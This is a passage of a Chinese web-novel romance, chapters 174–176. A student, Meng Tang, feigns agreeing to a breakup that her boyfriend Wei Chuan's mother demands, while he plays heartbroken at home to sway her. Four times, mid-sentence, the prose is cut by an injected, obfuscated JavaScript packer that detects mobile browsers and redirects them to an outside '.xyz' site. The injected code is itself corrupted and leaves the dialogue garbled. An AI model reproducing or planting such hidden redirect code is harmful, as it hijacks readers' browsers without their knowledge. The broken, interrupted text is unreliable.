孟棠深深呼出一口气,转头回了房间。 谢泠音一直担心孟棠,根本没睡,听到她进来,撩开了床帘,问:“谁给你打的电话?” “你还没睡?”孟棠一愣。 “追剧呢。”谢泠音说,“刚结束,你怎么出去接电话了?” “魏川打的。”孟棠笑了笑,“说明晚过来找我吃馄饨,明明也不爱吃。” 吃了几次也就发现了,但每次都会迁就她。 想到这儿,孟棠笑了声。 “你好像没有之前那种低落的心情了。”谢泠音有点奇怪,“这么点时间就想通了?” 孟棠点了点头,叹了声气:“兵来将挡水来土掩,我已经有办法了。” 谢泠音问:“什么办法?” 孟棠不确定有没有用,说:“暂时先不说了,我也不知道能不能按照我的想法进行下去。” 谢泠音说:“那你跟魏川商量了吗?你俩别有信息差啊。” “明晚跟他说吧。”孟棠抓住栏杆,“睡觉吧,不早了。” 谢泠音应了声,放下了床帘。 想明白之后,孟棠一夜好眠,第二天早上还给魏川发了个早安。 没事做,她去操场跑了两圈后,给室友们带了早餐。 几个人说说笑笑吃完,各自躲在电脑前消磨最后一天休闲的时光。 十点左右,孟棠接到了一串陌生号码的来电。 她拿出纸巾慢条斯理擦了手,随后接了起来:“喂。” “是孟棠吗?”手机那头传来一道女声。 孟棠应了声:“是我。” “我是魏川的妈妈,能不能出来聊一聊?” “好。”孟棠一口答应下来,“在哪里见面?” 楚茵说:“就在你们学校东门口,来我车上谈吧。” 孟棠应了声,起身换了套衣服,走的时候还把寝室的垃圾带走了。 谢泠音在心里啧啧两声:这心态是真绝! 孟棠来到东门,有个中年男人一直等着,看打扮是司机,见到她,礼貌地颔首:“孟小姐吗?” 孟棠点了点头。 司机侧身让开:“这边请。” 孟棠来到车边,车门缓缓开启,楚茵见到她,眼神有些复杂,微微愣神后,说:“上来吧。” 孟棠上了车,司机始终在门外守着。 楚茵将孟棠打量了一遍,不卑不亢,从容有度,真是可惜啊。 “今天叫你过来,你应该都猜到了吧?”楚茵决定直奔主题。 孟棠点了点头:“您说吧。” 楚茵叹了声气:“其实如果没有你父亲那件事,我完全可以接受你们,但你父亲坐过牢,我无论如何都接受不了。” “或许你可以站在我的角度考虑一下就会明白,我是为了小川好。” “别说我们这样的家庭,任何一个普通家庭也接受不了。” 其实孟遇春要给孟怀璋买房子结婚这件事,孟棠看得出来,是要让她跟孟怀璋断绝了关系的。 只不过雁清地方小,断绝关系难听,老爷子才换了个说词而已。 只要他结了婚搬出去,跟孟棠再无任何关系。孟怀璋的户口也会迁出去。 孟怀璋的爱没感受过,他造的孽,倒是全让孟棠承受了。 “我明白。”孟棠压抑着心里的苦楚,说,“这个世界上,不会有人比您更希望他好。” 推算一下就能知道,楚茵生魏川的时候,已经是高龄产妇。 对于这个小儿子,她一直都是宠溺的,自然希望魏川什么都好。 而魏川也一路顺风顺水,乍然冒出来孟怀璋这样拿不出手的人,就像一张白纸染了墨,最后只会成为他的污点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080830|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚茵感叹了声:“你明白就好,我希望你能跟他分手,你有什么要求都可以提。” 孟棠摇了摇头。 楚茵以为她不愿意,继续说:“小川一向很有礼貌,性格也好,在家里打打闹闹,却从来没发过火。” “因为你,家里每个人都被他发了一顿脾气,甚至捏碎了酒杯伤了手。” 孟棠猝然捏紧手指:“他没事吧?” “当时就叫了医生。”楚茵说,“你也知道他是打篮球的,那些碎片但凡扎得深一点,我都不敢想。” “你呢,确实挺好的,但在我眼里,有比他更合适的人,门当户对也少一些麻烦,希望你能理解。” 门当户对,这四个字,孟棠还真反驳不了。 孟棠始终沉默,楚茵急了:“你有什么条件都可以跟我提,我也不想再说什么难听的话,毕竟你跟小川也谈了一段时间的恋爱。” “我没有什么条件。”孟棠抬眸,看着楚茵的眼睛,“我同意分手,您把这件事告诉魏川就行。” 楚茵一愣:“你同意了?” 这么快? 孟棠朝楚茵笑了笑,满脸不在乎的模样:“您还有事吗?没事我就先走了。” 楚茵还没来得及说什么,孟棠推开了车门。 楚茵降下车窗,直至再也看不到孟棠的背影。 “不是……”楚茵看了眼司机,“她就这么同意了?她不会是装的吧?你有没有看见她哭?” 司机摇摇头:“没有。” “可——”楚茵一噎。 司机看了眼她的包:“是支票没用出去吗?” 楚茵白了他一眼:“你不觉得她答应得太快了吗?咱家小川就这么不值钱啊?我看她也没多喜欢啊,不行,我手机呢,我得给她打个电话。” 司机:“……手机不是在您手边吗?” “气糊涂了。”楚茵嘀咕了一句,拨通了孟棠的电话。 孟棠看见来电,轻笑了声,故意没接。 门当户对,她确实也反驳不了,今天这一步,纯粹是回馈魏川给她的爱。 她也不愿意轻而易举地放弃,不愿意永远都是魏川在主动争取。 就当她自私吧! 楚茵又打了第二通,孟棠清了清嗓子,接了起来。 “孟棠,你是不是不喜欢魏川?” 孟棠故作冷淡:“您为什么这么说?” 楚茵不想降了格调,依旧稳着声线:“只是想问问你为什么答应得这么快?我主要是怕你不拿钱,还想和小川纠缠。” 孟棠“哦”了声:“您放心吧,我整天忙着和一堆木头打交道,没时间去纠缠魏川,我也不是这样的人,我之所以答应分手,也是不想魏川为难,毕竟谈过一场。” 楚茵又是一噎,偏偏她还反驳不了。 “你能这样想就好。”楚茵挂了电话。 孟棠呼出一口气,回了寝室。 楚茵气呼呼地回了家,魏川早上五点才睡着,这会儿正顶着鸡窝头下楼找吃的。 看到打扮精致得像去战斗一样的楚茵愣了下:“妈,您怎么从外面回来了?” 楚茵哼了声,径自去了客厅。 魏川追过去,脸都黑了:“你是不是去找孟棠了?你不是说你今天要去看外婆的吗?” “喊什么?”楚茵白了他一眼,“你还挺真情实感的,你知不知道,我一开口,人家就同意了。” “同意什么?”魏川拧着眉。 “同意分你分手啊。” 楚茵都不忍直视自家的傻子,径自上了楼。 第174章 我木雕呢我木雕呢我木雕呢 “妈,你什么意思啊?”魏川追了上去。 刚上楼梯转角的平台,楚茵回过头,用手比划了下自己: “来来来,你看看我,我特意打扮得装腔作势,丝毫没震慑住她,反倒是被她弄懵了。” “儿子,咱能不恋爱脑了吗?孟棠也没多喜欢你啊,人家就是跟你玩玩吧?不然怎么可能答应得那么爽快?” “嘴上说是不想让你为难,其实都是编的场面话吧?” “孟棠答应分手了?”魏川狠狠拧起眉,“不可能,我昨晚刚跟她通了电话,她不可能跟我分手。” “呵……”楚茵气笑了,“不相信是吧?去问司机。” “我问什么司机啊?”魏川彻底没了耐心,“您到底跟孟棠说了什么?” 楚茵将车内发生的事情一字不差地告诉了魏川。 “我后来还给她打了个电话,可她就是没有一点反应啊。” 楚茵现在浑身都充满了自己儿子痴心错付的郁闷。 “不会的。”魏川笑了声,笑得十分难看。 楚茵都看心疼了:“别这样,比她好的女生多得是。” “没有谁比她好。”魏川猛地抬起头,赤红的眼眶直勾勾盯着楚茵。 楚茵被吓了一跳:“你不会要哭吧?” 魏川吸了吸鼻子,委屈道:“我去打个电话。” 这个孟棠,真是害人不浅,楚茵跟上去,劝道:“还打什么电话啊?” 魏川去楼上拿了手机,给孟棠拨了电话,但没人接。 楚茵都不敢看魏川的表情,有些心疼,更多的还是生气。 心疼的自然是魏川,生气的就是孟棠了。 “为什么不接电话?”魏川没招了,转头就往楼下走,“我回学校。” 楚茵想拦都没拦住,算了,去了能死心也好。 “老严。”楚茵想起什么,赶紧追下楼,“给小川安排一辆车,他手受伤了。” 话音刚落,魏川轰着路虎出了车库。 半小时后,路虎抵达东门,魏川拿了手机,大发脾气甩上了车门。 他一边往女寝走一边给孟棠打电话,本以为这次还是没人接,没想到刚响两声,对面就接了。 魏川还愣了下。 孟棠接了电话就往楼下走,她猜魏川应该来学校了。 果然,下一秒魏川就说了:“我有话问你,你先下来,我到东门了。” “好。”孟棠电梯也等不及,转到安全通道走了楼梯。 魏川挂断电话后,拔腿就跑。 孟棠也是,下了寝室楼,一直往东门跑。 这段路其实有点距离,孟棠沿着一片绿树跑到了尽头,在拐角处撞上了一脸急躁的魏川。 魏川一把扯住的孟棠的胳膊:“我妈找你,你为什么不告诉我?” 孟棠却一眼看到他包扎好的手:“给我看看。” “你先回答我。”魏川语调控制不住地上扬,“你到底为什么不告诉我?为什么要答应分手?我不是说了……唔……” 魏川的话戛然而止,被凑近的亮晶晶的眼神震得没话说。 孟棠离开他的唇,放下踮起来的脚,朝他笑了笑:“手给我看看。” 魏川愣愣伸出了手。 “你傻吗?”孟棠白了他一眼,“徒手捏酒杯,你很厉害嘛。” 魏川脑子迟钝了好几秒:“不是,我妈不是说你跟我分手了吗?” 孟棠哼笑了声:“是答应她跟你分手了,这不是你自己来找我的吗?” 魏川气笑了:“能不能好好说话?到底怎么回事?” 孟棠将他拉到一旁的树林里,小径上有休息的地方。 两人坐下后,孟棠说:“阿姨回去是什么反应?是更心疼你,还是逼你分手啊?” 魏川一愣,仔细回忆楚茵的反应,更多的好像是心疼。 就连他来找了孟棠都没反对,明明之前反对得很激烈。 “到底怎么回事?”魏川又问了句,他的脑子已经转不动了,都是孟棠答应分手了这件事。 孟棠笑了笑,说:“就是想象的和预期的不一样,她以为我会纠缠,可她一开口我就答应了,只会心疼你看错了人,甚至愤怒我凭什么就这么轻易答应了,又为你感到不值。” 魏川愣了半晌,对孟棠竖起大拇指:“高啊,看来你跟老头学了不少啊。” 孟棠拍下他的手指:“我也是从你对她描述的只言片语和仅有一次的见面里,对她的性格做了一个大致的判断,事实证明,我判断得没错。” 这招,对别人来说或许没用,对楚茵绝对是杀招。 魏川笑了声,一把将孟棠揉进了怀里:“真聪明,你放心,接下来的事,交给我。” “孺子可教。”孟棠手指头拨了下他的下巴,“做戏做到底,还不赶紧松开我,保持距离。” “为什么要保持距离?逻辑根本就不通。”魏川无赖道,“我应该茶饭不思来纠缠你,然后你再给我妈发信息,说赶紧把你烦人的儿子带走,别让我再纠缠你,我妈反骨一上来,说不定就同意了。” 孟棠拦住他要亲下来的吻:“曲解我意思,茶饭不思来纠缠我,不是应该我不理你嘛,怎么你还要亲上来?” 魏川想强吻一下,想起来自己刚起床还没洗漱,一下歇了心思。 他捏了下孟棠的脸,说:“我得失魂落魄地赶回去了。” 孟棠被他逗笑,点了点头:“去吧。” 魏川回到车上,对着镜子扒拉下自己的头发,觉得不够,又下车买了包烟,点燃后将自己熏了个半死。 最后眼眶都熏红了,就这样开车赶回了家。 楚茵看到他这个鬼样子,心疼的啊,简直要滴血。 她一边庆幸孟棠说话算话,一边又暗恨孟棠是真的要和魏川分手。 左右脑互搏,都打出残影了。 “小川?”楚茵小心翼翼地扶住魏川的手臂,“怎么这个样子啊?” 魏川怕自己演技不到家,一句话也没说,“无精打采”回了房间。 保姆过来,对楚茵说:“少爷还没吃饭呢。” 楚茵说:“赶紧给他端上去,我先去看看他。” 保姆应了声。 楚茵上楼后,发现魏川躺在床上,怔怔地看着天花板。 “小川,饿不饿啊?” 魏川一把掀起被子,将自己裹了个严实,偏偏个儿太大,只裹住了上半身。 这emo的样子,看得楚茵心酸不已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088093|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保姆很快送了餐上来,对楚茵说:“先生回来了。” 楚茵指了指里面:“让他多少吃点。” 保姆应了声。 魏立峰和魏思嘉一起回的,两人还没坐下,楚茵急匆匆从楼上赶了下来。 魏立峰蹙眉:“慢一点。” 楚茵将他俩拉到客厅坐下,说:“孟棠真的跟小川分手了。” 魏立峰解领带的手顿了下,抬眼看向楚茵:“不是挺好的嘛,正合你意。” 魏思嘉跟着点了点头:“是挺好的,不过……妈,你的表情不太对劲啊,好像不是很开心。” “还说呢。”楚茵想起来就郁闷,“我今天上午去找孟棠了,人家二话不说就答应了分手。” “然后呢?”魏思嘉摊手,“你气什么?” 魏立峰突然笑了声:“你是生气孟棠不该就这么放弃小川?为小川不值?” “我可没这么说。”楚茵嘴硬,“我不过是心疼我儿子,红着眼睛,顶着一头乱糟糟的头发,浑身都是烟味的回来了,将自己裹在被子里,到现在都没吃一口饭。” 魏思嘉刚要上楼看看,保姆一脸为难地下来了。 她扬了下眉,问:“怎么了?” “少爷不吃,还让我把他床头精心伺候的木雕拿出去扔了。” 魏思嘉歪了下头:“你扔了?” 保姆赶紧摇头:“没敢,我藏柜子里了。” 魏思嘉点了点头:“做得好。” 下一秒,楼上传来魏川的大吼:“我木雕呢?” 魏思嘉一脸“果然如此”的表情,她对保姆点了点头:“赶紧给他。” 保姆上楼将木雕给了魏川。 可十分钟不到,魏川又让保姆把木雕拿走。 “拿远一点,我不想看见它一丁点。” 客厅的三人齐齐往楼上望去,互相对视了眼,全都没吱声。 半晌,魏思嘉笑了声:“打赌吗?这次会不会超过十分钟?” 楚茵白了她一眼:“还有心思打赌。” 魏立峰“啧”了声:“应该能坚持五分钟。” 五分钟没到,楼上又开始了:“我木雕呢?” 魏思嘉再也忍不住,笑抽了,整个人靠着沙发背摇了摇头:“算了,我上去看看他吧。” 楚茵跟着一道起身:“我也去。” 听到脚步声,魏川拿了床头柜里的眼药水,对着自己眼睛哐哐一通甩。 魏思嘉和楚茵进来的时候,一米九的忧郁美男捧着木雕伤心垂泪。 “小川。”楚茵伤心了,“别这样好吗?你这样,妈妈心里也不舒服。” 魏川点了点头:“妈,我没事。” 儿子不顶嘴了,楚茵心里更难受了。 魏川摸着木雕上的玫瑰花,狠狠心推给楚茵:“还是扔了吧,她都不要我了,我留着干什么。” “别啊。”楚茵安慰他,“留个纪念呗,我要真烧了,你又得跟我闹。” 魏川又将自己裹起来,在被子里喊:“那就拿走,省得我看见难受。” 某人在被子里弯了弯嘴角,我去,孟棠这招真高啊。 他刚才不过是试探楚茵会不会将木雕扔掉,不仅没扔,还让他留下来作纪念,直接迈出了成功的第一步。 第175章 足够她把我攥在手心里一辈子 魏川因为受伤的手,请了几天假。 忍了一天,他快饿**,但他现在正“绝望”,属于一个没胃口的阶段。 呻吟了两声,魏川长臂一伸,摸到了手机。 在微信里翻来翻去,最终给秦渊发了条语音:“速来家里救我。” 秦渊被他吓了一跳:“**,你这声音怎么跟三天没吃饭似的。” 魏川气笑了:“赶紧滚过来。” 秦渊:“等着,这就过去。” 半小时后,秦渊开着他的骚粉超跑进了魏家的别墅。 楚茵看到他,心下一喜,赶紧迎了上去:“小渊,你怎么来了?” 秦渊笑了声:“听说川子手受伤了,我来看看。” “手已经差不多好了。”楚茵说,“只是他已经把自己关在屋里两天了,饭也不吃,你来了正好,帮我们上楼劝劝。” “怎么了?”秦渊一脸懵,“他为什么把自己关起来?” 楚茵叹了声气:“孟棠跟他分手了。” 秦渊一愣:“分手了?为什么?” “她家里的事有点复杂,我就不太喜欢,去学校找了她,让她跟小川分手。”楚茵有些尴尬,“哪知她对小川也不真心,直接同意了,小川去学校确认,回来就破防了。” “……行,我先上楼看看。” 楚茵拉住秦渊:“要是可以,劝他吃点饭。” 秦渊应了声,上楼推开了魏川卧室的门。 见到魏川只剩下一副灵魂的样子,吓了一跳:“爱得这么深啊,**?” 魏川抬了抬手:“赶紧给我弄点吃的。” 秦渊笑了声:“厨房肯定备着呢,我现在就下楼。” “等一下。”魏川叫住他,“如果我妈问你我怎么改变主意了,就说你劝的我,理由你自己看着办吧。” 秦渊鬼精一个,他意味深长地看了眼魏川:“也就是说,你俩没分手啊?你给阿姨做戏呢?” 不然怎么还有心思吃饭。 魏川点了点头:“赶紧去,再晚我一句话也说不出来了。” 秦渊立刻下了楼。 楚茵一直在楼下等着,见到他迎了上去:“怎么样了?劝了吗?” 秦渊点点头:“厨房备饭了吗?给他端上去吧。” 楚茵一喜:“肯吃了?你怎么劝的?” 秦炀清了清嗓子:“我说阿姨为了你茶饭不思,整个人瘦了一圈,眼睛哭得又红又肿,他一听,又愧疚又心疼,答应吃一点。” 楚茵撇了下嘴,开始怀疑自己做的到底对不对。 停停停,怎么又怀疑自己了? 楚茵在心里啧了声,转身去了客厅。 长痛不如短痛,说不定过段时间就好了。 魏川暂时管不了楚茵的想法,此刻正反锁着门,跟头牛似的干饭。 秦渊坐上他的陀螺椅,说:“你跟孟棠怎么回事啊?” 魏川吃得半饱,将事情大概说了一遍。 秦渊笑了声:“孟棠这个人,还挺有意思的,我还以为她会退缩。” 魏川得意地哼笑:“退缩?那是你还不了解她,她拿起刻刀对准木头的时候,可没一刀是退缩的。” “还给你得意上了。”秦渊白他一眼,“接下来打算怎么办?” 魏川满足地喝了口汤,说:“接下来我死缠烂打,楚女士心疼松口呗。” 秦渊朝他竖起大拇指:“你们两口子给楚女士做局啊?” “那你怎么不说是楚女士先棒打鸳鸯的。”魏川将碗筷一推,终于舒爽地叹了声气,“待会儿出去,就说我吃了一点啊,剩下的都是你吃的。” 秦渊:“……真服了。” 吃饱喝足,魏川又躺回了床上。 秦渊踢了下他的脚:“又emo什么?” 魏川叹气:“三天没见孟棠了。” “我去,你们谈恋爱的人都这么恶心吗?”秦渊鸡皮疙瘩都起来了,“还是说一日不见如隔三秋?” 魏川赖赖唧唧苦笑了声:“谁发明的这词,简直天才,形容得太精准了。” “我他妈受不了了。”秦渊起身,“我走了,你什么时候回学校?” 魏川说:“明天。” “阿姨能放心啊?”秦渊提醒了声,“小心他派人跟着你。” 魏川虎躯一震,**,楚女士还真干得出来这事,看来要提防一手。 楚茵见秦渊下来,表情带着期盼。 秦渊朝她笑了笑:“放心吧,吃了一点,不过情绪还是很低落,我跟他费了大半天口舌,愣是没回我两句。” 楚茵点了点头:“行,今天还是谢谢你来看小川。” “那……阿姨,我先走了?” 楚茵“嗯”了声,这时保姆撤了盘子下楼,她上前将人拦住,好奇地瞥了眼,问: “都吃完了?小渊不是说只吃了一点吗?” “应该是秦少爷陪着一起吃的。”保姆说,“咱家少爷还躺床上呢,手机也不玩,就抱着木雕发呆。” 楚茵:“……” 犹豫半天,她最终还是上楼敲响了魏川的房门。 魏川抬眸,楚茵推开门走了进来。 “明天要回学校吗?”楚茵问。 魏川点了点头:“受伤不严重,我做别的基础训练,暂时不碰球。” 提到篮球,他还是有话的,楚茵松了口气:“那……你跟孟棠……” 魏川看了眼楚茵,说:“我不确定会不会去找她。” 楚茵:“……人家都跟你分手了。” “是你先去找她的。”魏川说,“不然她不会跟我分手,妈,你嫌弃什么都行,孟棠都有可能会有反驳的余地,可你嫌弃对她从来没有尽过责任的父亲,她反驳不了。” “即便是孟怀璋**,孟棠身上流淌的还是他的血。” “孟怀璋坐牢也不是他的本意,是他年轻时候不知高低被人做局,老爷子散尽家财才保住了自己和孟棠。” “那些年,留给他俩的只有一座老宅和几屋子的木头。” 魏川指了指心脏:“我每次想到这些,这里就很疼。” “徐助理从雁清回来,我不信他没跟爸解释过是李寒津的做局。” “她父亲是懦弱不堪,但这不是孟棠造成的,相反,因为他的懦弱,孟棠吃了很多苦,她为什么要承受这些?” “她五岁开始学木雕,一开始削木条,手指头磨破结痂,一年四季日日如此,这样的苦,一般人吃不了。” “我听老爷子说,孟棠一声不吭地全都受了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088094|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不疼吗?她快疼**吧?可天赋难寻,她只能坚持下去。” “您看见她的手了吗?那是一个二十多岁的女孩该有的手吗?” 一通话下来,魏川情绪有点激动难掩。 楚茵敛了下眉,卧室里陷入了安静。 她自己内心也很复杂,因为魏川说的这些也没错。 现在不是一人犯罪,全家受罚的古代,孟棠自然是无妄之灾。 可她对孟怀璋的观感实在不好,心里难以接受也情有可原。 魏川叹了声气,对楚茵说:“我爱她安静外表下常人没有的心性,仅这一条,就足够她把我攥在手心里一辈子。” 楚茵的心一下被震动了,除此之外,还有一丝惊愕。 他的爱太热烈了,堪比盛夏灼人的太阳,一般人会被晒死,只有孟棠能默默吸收。 因为孟棠的家庭不健全,她需要很多很多坚定的爱。 楚茵一句话没说,转身出了魏川的卧室。 魏川起身反锁了门,给孟棠打了一个视频通话。 第一个没人接,等了一会儿,孟棠打了回来。 接通后,孟棠笑了笑:“阿姨没让你把我删了?” 魏川咧嘴笑道:“估计是看我太伤心,没敢提。” 孟棠趴在阳台上,问:“什么时候回学校?” “明天就回了。”魏川说,“不过我怀疑我妈会派人跟着我。” 孟棠点了下头,说:“跟着你的人都是你家的保镖,你看看他们哪个像大学生,跟到学校里不太现实。” 魏川“嗯”了声:“也对,那咱俩回学校还是正大光明地谈?” “倒也不用这么高调。”孟棠失笑一声,“你妈妈想查的话,什么查不出来?” 魏川已经活人微**,他将自己砸在床上,问:“你在哪儿啊?我看着背景怎么认不出来是学校哪个地方?” 孟棠说:“木雕工作室,别的专业进不来,爷爷之前不是说要教我雕刻大件嘛,我刚跟院里申请了一个专属工作台。” “那第一遍开的视频没接,是在跟老头视频啊?” “没有。”孟棠说,“整理一下工作台,毕竟以后要常驻在这里,还是自己看得顺眼才好。” 魏川盯着视频里那张脸,突然笑了声:“你爸结婚的话,我们要不要回去喝喜酒啊?” “你——”孟棠翻了个白眼,“你自己一个人喝去吧。” “我开玩笑的。”魏川对着屏幕啄了两下,“明天白天我有课,前两天没去,都得补上,晚上等我?” 孟棠点了点头:“行,我就在这边,你从北门进吧。” “好。” 孟棠挂断电话后,去卫生间洗了手,刚才急匆匆给魏川开视频,手上沾着一手的木屑灰尘。 — 魏立峰大半夜回来,被坐在床头的楚茵吓了一跳。 他解开领带,问了句:“黑灯瞎火地坐在这儿干什么?” 楚茵有点烦,说:“你过来,陪我聊一下。” 魏立峰澡也不洗了,在楚茵身边坐下:“怎么了?” 楚茵将白天和魏川的聊天内容全盘托出,眼睛里都是自我怀疑的光芒。 她问魏立峰:“你说,我是不是不该拆散他们?” 第176章 向爱妥协 魏立峰在公司忙了一天,回来还得给老婆解心结,他叹了声气,说: “这件事我可不管啊,是你自己当初对我耳提面命,不准我插嘴的,我这不是一直跟着组织在走吗?” “组织批准你可以插嘴了。”楚茵都快烦**,“你跟我说说,我是不是不应该拆散他俩?” 魏立峰握住楚茵的手,说:“你儿子喜欢,你迟早得松口。” 楚茵:“……我就这么弱?而且孟棠放弃得也太快了,小川还贴上去,这也太……” “喜欢就不叫倒贴,你这思想就不对。”魏立峰说,“小川的性格你不是不知道,他认定了,谁也拉不回头,你看着吧,回到学校,他还得去找孟棠。” “孟棠不理他怎么办?”楚茵坐直了身体,“难道又要伤心一场?” 魏立峰笑了声:“你看,你又急了,都在担心孟棠不理小川了。” 楚茵叹气:“今天小川有句话很触动我,我也没想到短短几个月,他能爱到这个地步。” “一年之内都叫热恋,他正上头呢。”魏立峰说,“放不下是正常的,他都跑雁清多少回了,你还没看明白,这是已经把自己当成人家的人了,好像跟孟棠的爷爷处得也不错。” 楚茵仰头叹气:“可我不喜欢孟棠的爸爸怎么办?难道以后还要我和他打交道吗?我可做不来。” 魏立峰:“谁让你做得来了,雁清那边好像在给孟怀璋找对象。” “你一直都关注着?”楚茵愣了下,“你管人家这事干什么?” 魏立峰说:“前线战报,说老爷子的意思是要和孟怀璋断绝关系,以后应该不会来往了。” “不过自然血亲一般无法通过法律手段去断绝关系,协议也不管用,我个人还是倾向于孟怀璋现在一无所有,他必须什么都得听老爷子的。” “听说准备在女方家附近买房子,都到雁清边缘了,意思还不明显?” 楚茵拍了下魏立峰的手臂:“你怎么知道这么多?” 魏立峰哼笑一声:“因为你儿子呗,我敢跟你赌,只要他喜欢,你一定阻止不了。” 楚茵踢了下他:“你去洗澡吧,我自己一个人想一想。” 魏立峰起身走了,至于楚茵,辗转了半夜。 翌日一早,魏川被家里的司机送回了学校。 他在车上给孟棠发了信息,孟棠给了他发了张大教室的照片,说自己已经到教室了。 之后因为要上课,也就没再闲聊。 老师刚进来,孟棠的手机震了下,她下意识垂眸,打开了魏川发来的自拍。 孟棠轻笑,这造型凹的,完美展示了他45度左脸的精致。 上完课,孟棠和谭琦一起回了木雕工作室。 一个系又一个班,除了前期的一点摩擦之外,两人意外合得来。 两人流派不同,谭曦更注重木雕的实用性艺术,孟棠就是纯手工的雅文化,适合收藏。 一个以圆雕为主,一个以浮雕、镂空雕见长。 孟棠所代表的流派更注重传统的保护,反对过度商业化,而谭曦那一派致力于创立木雕文化的产业园。 听闻孟遇春要给孟棠线上上课,谭曦就求了她一起旁听。 孟棠从没有藏着手艺的想法,天下木雕,工艺内核都是相通的。 来到工台,魏川和孟遇春开了语音,只要能听到声音就行。 “大件雕刻,首要也得选料,这个没什么好说的,我们来说粗胚立骨……” 孟遇春以达摩像为例,由浅入深地给孟棠详细讲解了一遍。 大件靠不了巧劲,定大势、修细节都需要沉稳的手部和腰部力量。 一旦动刀,下手要狠,同时心也要静,一旦前期的形抓得不准,后期如论如何修细节也是徒劳。 光这一点,孟遇春口干舌燥讲了一天。 孟棠也够狠,对着实验料哐哐开凿。 一天下来,她的手腕隐隐发抖。 魏川过来的时候,孟棠蹲在楼下的走廊里,用刻刀的尖抵着一颗木珠,用手腕的力量带动着木珠在方柱上滚动。 这叫捻刀转珠,训练手部力量的其中一种方式。 魏川停了脚步,身体一歪,靠在了柱子上,双臂抱胸,就那么看着孟棠。 他自己都不知道自己的表情有多温柔。 木球匀速滚动了三分钟都没掉落,孟棠笑了声,松了刻刀。 木球掉落掌心,她收起来放进口袋里,然后给刻刀套上了保护套。 魏川轻笑了声:“你在练什么?” 孟棠一愣,转头看到魏川,惊喜地跑了过去:“你什么时候来的?” 魏川一把扯住她的手腕,另一只手垫入她脑后,将她整个人抵在柱子上亲了下去。 没有一丁点的过度,直接唇舌相接。 魏川忍了这么些天,只剩下一腔思念,也只能用深吻来表达。 孟棠下意识拽住他的衣领,后颈高高仰起,有一瞬间的晕眩。 掌心下的布料皱巴巴成了一团,揉碎了彼此的心跳和喘息。 “魏川……”孟棠脖颈实在是累,松了衣领,掌心推上他胸膛。 魏川松开了她,火热的唇瓣辗转移到她的耳朵和颈侧。 孟棠怕痒,缩着脖子去躲。 魏川也没抬过分,亲昵地用鼻尖蹭了满嘴香后埋进她的颈窝,小声道:“想死我了。” 孟棠勾了勾唇,抬手搂住他的腰。 今夜无风,但是有月,安静地洒下一片温柔的光,两人躲在柱子后相拥,只能浅浅看到一点身影。 气氛本来是不错的,魏川突然笑了声,在她耳边说:“像偷情,好刺激。” 孟棠安静了两秒,一把推开了他。 魏川上前搂住她的肩膀,小声说:“送你回寝室?” “在学校里逛逛吧。”孟棠说着瞥了他一眼,“阿姨这几天怎么样?” “挺好的,就是有点郁闷。”魏川握住她肩头的手忍不住摩挲,“今天出门之前,好几次想要和我说什么,又忍住了,我感觉她已经动摇了。” 孟棠心里升起一点愧疚,说:“我好像利用了她对你的爱。” 魏川停住脚步,将孟棠掰过来面对自己。 一个低头,一个仰头,四目相对时,魏川温和地安抚她: “如果这也算利用的话,那我在家的撒泼卖惨算什么?” “是他们教会我怎么爱,却不让我去爱?天下怎么会有这样的道理?” “楚女士要是妥协,也不是向我俩妥协,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097037|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是向爱妥协,懂吗?” 孟棠一愣,向爱妥协,掷地有声的四个字让她差点没忍住掉泪。 她低头按了下眼皮,止住了那抹酸气。 魏川抬手,将她抱进了怀中。 “明明也不爱哭,怎么总在我面前哭,知道我吃你这套吧?故意的?” 孟棠摇了摇头,有点哽咽:“不是故意的。” 说到这个,魏川突然笑了声:“你以前还喜欢许鹤清的时候,就整天搁我面前哭,你不觉得有点奇怪吗?” “我什么时候哭了?”孟棠推开他,“还有,不要再提许鹤清,我想到他是泠音的男朋友,我就有一种诡异的愧疚感。” 